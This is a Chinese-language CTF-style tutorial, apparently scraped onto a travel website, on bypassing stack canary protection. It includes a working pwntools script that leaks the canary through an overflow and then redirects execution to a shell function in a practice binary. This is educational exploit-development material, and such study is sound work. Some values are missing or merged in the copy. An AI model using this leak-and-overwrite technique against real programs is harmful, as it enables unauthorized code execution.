您好,欢迎来到小侦探旅游网。
搜索
您的当前位置:首页Canary机制的绕过

Canary机制的绕过

来源:小侦探旅游网
Canary机制的绕过

提取码:8ypi

1.检查程序开启了哪些安全保护机制

Canary与NX开启了

Canary机制简介

位的canary机制,会在函数头部添加:

mov rax,QWORD PTR fs:0x28 //从fs:0x28寄存器中取⼀个值

mov QWORD PTR [rbp-0x8],rax //写⼊当前栈帧底部(RBP前⽅第⼀个数)结尾部分添加:

mov rcx,QWORD PTR [rbp-0x8] //把⾦丝雀值取出

xor rcx,QWORD PTR fs:0x28 //⽐较与寄存器中的是否⼀样 je xxxxx //函数正常退出

call 0x400580 <__stack_chk_fail@plt> //__stack_chk_fail()函数功能为报告栈损坏当前函数栈帧为:

0040| 0x7fffffffe088 --> 0xf383d165ddc4a700 //Canary值

0048| 0x7fffffffe090 --> 0x7fffffffe4c0 //上个函数栈帧的RBP0056| 0x7fffffffe098 --> 0x4007a1 //上个函数栈帧的RIP

Canary值在rbp到rsp之间,(并不⼀定是rbp-8的位置很长⼀段时间我认为是在rbp-8位置,[⾃嘲的笑了笑])

Canary值以0x00结尾,如果程序没有漏洞但栈上⾯刚好是⼀个满的字符串,这个0x00可以当做截断,避免被打印出来Canary值如果被改写,程序会崩溃

2.在IDA中查找码漏洞与可以被我们利⽤的位置

可以看到buf只有 0x70-0xc=0x 的⼤⼩,但是read的第三个参数却是0x200,漏洞点找到了v3这个变量就是Canary的值

⽽且在IDA中还找到了这么⼀个函数.....只要让程序运⾏到这个函数就ok了,好简单看⼀下这个函数的地址

Canary机制怎么绕过?

Canary的值最后两位是0,也就是说是⼀个字符的⼤⼩,如果上⾯是字符串,写多了⼀位,刚好把这个00覆盖掉那么,就能打印出前⼏位Canary的值,然后在⾃⼰的payload中Canary的位置写上这个值,让Canary原来的值与⾃⼰写的值⼀样,这样在函数结束时的Canary验证函数就不会出错

from pwn import *

p = process(\"./leak_canary\")get_shell = 0x0804859B

p.recvuntil(\"Hello Hacker!\\n\")offset = 0x70-0xC

payload = (offset)*\"a\" + \"b\"p.send(payload)

p.recvuntil(\"ab\")

canary = u32(p.recv(3).rjust(4,\"\\x00\"))#得到canary的值

payload2 =(offset)*\"a\" + p32(canary) + \"b\"*12 + p32(get_shell)# payload2= buf + canary + canary到返回地址的⼤⼩ + 返回地址p.send(payload2)p.interactive()

成功得到shell

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- xiaozhentang.com 版权所有 湘ICP备2023022495号-4

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务